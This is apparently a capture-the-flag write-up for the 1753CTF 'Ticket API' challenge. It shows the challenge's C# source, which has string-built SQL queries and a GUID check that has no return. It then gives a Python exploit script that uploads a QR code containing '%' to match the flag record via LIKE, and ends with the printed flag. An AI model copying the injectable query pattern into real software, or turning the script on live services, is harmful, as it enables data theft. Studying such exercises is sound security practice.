๐Ÿ‘ฏ Ticket API (Score: 310 / Solves: 19)#

Description#

Built new system to verify forged entry tickets. Hope you like it.

https://dl.1753ctf.com/ticket-api/src/?s=rPm9j5hp

Source Code#

file tree
$ unzip -t ticket-api_src_.zip
Archive:  ticket-api_src_.zip
    testing: App.cs                   OK
    testing: App.csproj               OK
    testing: README.md                OK
No errors detected in compressed data of ticket-api_src_.zip.
README.md
# Ticket API

This API allows to upload, and then verify ticket for events (in example CTF challenge ๐Ÿšฉ)

## Endpoints

### Upload

Upload allows you to upload new tickets to the system. These tickets can be then verified on the event entrance:

> curl -X POST -F "file=@/path/to/ticket/file.pdf" https://ticket-api-061f5e195e3d.1753ctf.com/upload

### Verify

While integrating your entrance gate thingy call this endpoint to verify if the ticket being shown to you is not forged:

> curl -X POST -F "file=@/path/to/ticket/file.pdf" https://ticket-api-061f5e195e3d.1753ctf.com/verify

## Security

Yes. 
App.cs
using System.Data;
using System.Runtime.Versioning;
using System.Security.Cryptography;
using Dapper;
using Microsoft.Data.Sqlite;
using ZXing.SkiaSharp;

[assembly: SupportedOSPlatform("Linux")]

var builder = WebApplication.CreateBuilder(args);
builder.Services.AddScoped<IDbConnection>((sp) => new SqliteConnection($"Data Source=data.sqlite"));

var app = builder.Build();
var flag = Environment.GetEnvironmentVariable("flag") ?? "1753c{fake_flag}";

using (var db = app.Services.GetService<IDbConnection>())
{
    await db.ExecuteAsync("CREATE TABLE Tickets (id INTEGER PRIMARY KEY, code VARCHAR(36), hash VARCHAR(40))");
    await db.ExecuteAsync($"INSERT INTO Tickets (id, code, hash) VALUES (1, '{flag}', 'admin-needs-no-hash')");
}

(string Code, string Hash) ParsePDF(Stream pdfStream)
{
    using var memoryStream = new MemoryStream();
    pdfStream.CopyTo(memoryStream);

    var bitmap = PDFtoImage.Conversion.ToImage(memoryStream, leaveOpen: true);

    var reader = new BarcodeReader();
    var result = reader.Decode(bitmap);

    using var sha1 = SHA1.Create();

    memoryStream.Position = 0;
    byte[] hashBytes = sha1.ComputeHash(memoryStream);
    var hash = BitConverter.ToString(hashBytes).Replace("-", "").ToLowerInvariant();

    return (result.Text, hash);
}

app.MapPost("upload", async (HttpContext context, IDbConnection db) =>
{
    try
    {
        var inputStream = context.Request.Form.Files[0].OpenReadStream();
        var (code, hash) = ParsePDF(inputStream);

        if (!Guid.TryParse(code, out var result))
            Results.BadRequest("Ticket must have a GUID in QR code");

        await db.QueryAsync($"INSERT INTO Tickets (code, hash) VALUES ('{code}', '{hash}')");

        return Results.Ok("Ticket added");
    }
    catch (Exception)
    {
        return Results.UnprocessableEntity("Request must contain valid PDF with QR code containg UUID");
    }
});

app.MapPost("verify", async (HttpContext context, IDbConnection db) =>
{
    try
    {
        var inputStream = context.Request.Form.Files[0].OpenReadStream();
        var (code, hash) = ParsePDF(inputStream);

        var existingHash = await db.QueryFirstOrDefaultAsync<string>($"SELECT * FROM Tickets WHERE hash like '{hash}'");

        if (existingHash is null)
            return Results.NotFound("Ticket forged!");

        var ticket = await db.QueryFirstOrDefaultAsync($"SELECT * FROM Tickets WHERE code like '{code}'");

        return Results.Ok(ticket);
    }
    catch (Exception)
    {
        return Results.UnprocessableEntity("Request must contain valid PDF with QR code containg UUID");
    }
});



app.Run();
App.csproj
<Project Sdk="Microsoft.NET.Sdk.Web">

  <PropertyGroup>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="ZXing.Net.Bindings.SkiaSharp" Version="0.16.14" />
    <PackageReference Include="PDFtoImage" Version="4.0.0" />
    <PackageReference Include="ZXing.Net" Version="0.16.9" />
    <PackageReference Include="Dapper" Version="2.0.90" />
    <PackageReference Include="Microsoft.Data.Sqlite" Version="5.0.0" />
  </ItemGroup>

</Project>

Flag#

1753c{dizz_are_not_forged_if_they_have_the_same_hasshhh}

Summary#

This solution is unintended, and there is no need for GUID checks or PDF SHA1 collisions.

Initial Analysis#

The application uses .NET as web framework, and SQLite as the database.

using (var db = app.Services.GetService<IDbConnection>())
{
    await db.ExecuteAsync("CREATE TABLE Tickets (id INTEGER PRIMARY KEY, code VARCHAR(36), hash VARCHAR(40))");
    await db.ExecuteAsync($"INSERT INTO Tickets (id, code, hash) VALUES (1, '{flag}', 'admin-needs-no-hash')");
}

The flag is stored in the Tickets table of the database.

There are two Web APIs: POST /upload and POST /verify.

app.MapPost("upload", async (HttpContext context, IDbConnection db) =>
{
    try
    {
        var inputStream = context.Request.Form.Files[0].OpenReadStream();
        var (code, hash) = ParsePDF(inputStream);

        if (!Guid.TryParse(code, out var result))  // [1]
            Results.BadRequest("Ticket must have a GUID in QR code");  // [2]

        await db.QueryAsync($"INSERT INTO Tickets (code, hash) VALUES ('{code}', '{hash}')");  // [3]

        return Results.Ok("Ticket added");
    }
    catch (Exception)
    {
        return Results.UnprocessableEntity("Request must contain valid PDF with QR code containg UUID");
    }
});

In the /upload endpoint, the PDF's QR code is read, and it is checked whether it is a GUID using Guid.TryParse [1]. If it is not a GUID, Results.BadRequest("Ticket must have a GUID in QR code"); is executed [2]. However, since there is no return statement, it is possible to bypass this GUID check. Therefore, processing does not end here and continues to the subsequent processing [3].

app.MapPost("verify", async (HttpContext context, IDbConnection db) =>
{
    try
    {
        var inputStream = context.Request.Form.Files[0].OpenReadStream();
        var (code, hash) = ParsePDF(inputStream);

        var existingHash = await db.QueryFirstOrDefaultAsync<string>($"SELECT * FROM Tickets WHERE hash like '{hash}'");  // [4]

        if (existingHash is null)
            return Results.NotFound("Ticket forged!");

        var ticket = await db.QueryFirstOrDefaultAsync($"SELECT * FROM Tickets WHERE code like '{code}'");  // [5]

        return Results.Ok(ticket);
    }
    catch (Exception)
    {
        return Results.UnprocessableEntity("Request must contain valid PDF with QR code containg UUID");
    }
});

Hash matching [4]. To match the hash of the PDF uploaded in /upload, we can simply send the same PDF in both /upload and /verify.

The variable code is user-controllable [5]. Since it uses WHERE code like, by using % to match the condition, we can retrieve the flag contained in the record.

Therefore, by generating a QR code with % and converting it into a PDF, we can get the flag by sending it in both /upload and /verify.

Solution#

exploit.py

from io import BytesIO
import qrcode
import requests

requests.packages.urllib3.disable_warnings()

s = requests.Session()
# s.proxies = {"https": "http://127.0.0.1:8080"}
s.verify = False

base_url = "https://ticket-api-061f5e195e3d.1753ctf.com"

img = qrcode.make("%")
pdf_bytes = BytesIO()
img.save(pdf_bytes, format="PDF")
pdf_bytes.seek(0)

with open("tmp.pdf", "wb") as f:
    f.write(pdf_bytes.read())

s.post(f"{base_url}/upload", files={"file": open("tmp.pdf", "rb")})
resp = s.post(f"{base_url}/verify", files={"file": open("tmp.pdf", "rb")})

print(resp.json())

Result:

$ python3 exploit.py
{'id': 1, 'code': '1753c{dizz_are_not_forged_if_they_have_the_same_hasshhh}', 'hash': 'admin-needs-no-hash'}